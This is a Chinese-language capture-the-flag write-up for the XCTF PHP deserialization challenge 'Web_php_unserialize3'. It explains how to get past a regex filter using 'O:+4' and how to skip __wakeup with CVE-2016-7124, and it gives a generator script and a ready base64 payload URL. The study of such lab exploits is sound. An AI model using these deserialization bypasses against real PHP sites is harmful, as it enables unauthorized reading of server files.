XCTF-WEB:Web_php_unserialize3
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
看这一段:
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
[xyz] 字符集合。匹配所包含的任意一个字符。例如,“[abc]”可以匹配“plain”中的“a”
:就是冒号
\d是匹配一个数字字符相当于[0-9]
+匹配前面子表达式一次或多次
可以看对序列化的字符串进行了过滤,其实主要过滤的就是禁止Object类型被反序列化。虽然这样看起是没有问题的,但是由于PHP的一个BUG,导致仍然可以被绕过。只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。
接下来要搞定wakeup方法,CVE-2016-7124,之前有记录:
shawroot.hatenablog.com
又因为 private变量 在序列化后两侧会有 \00 的特殊字符 ,
这个是看不见且无法手工输入的,(这里困扰我很久)所以这道题我使用脚本:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $a=new Demo("fl4g.php"); $a=serialize($a); $a=str_replace('O:4', 'O:+4',$a); $a=str_replace(':1:', ':8:',$a); echo base64_encode($a); ?>
运行得到:TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
所以payload:
/?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==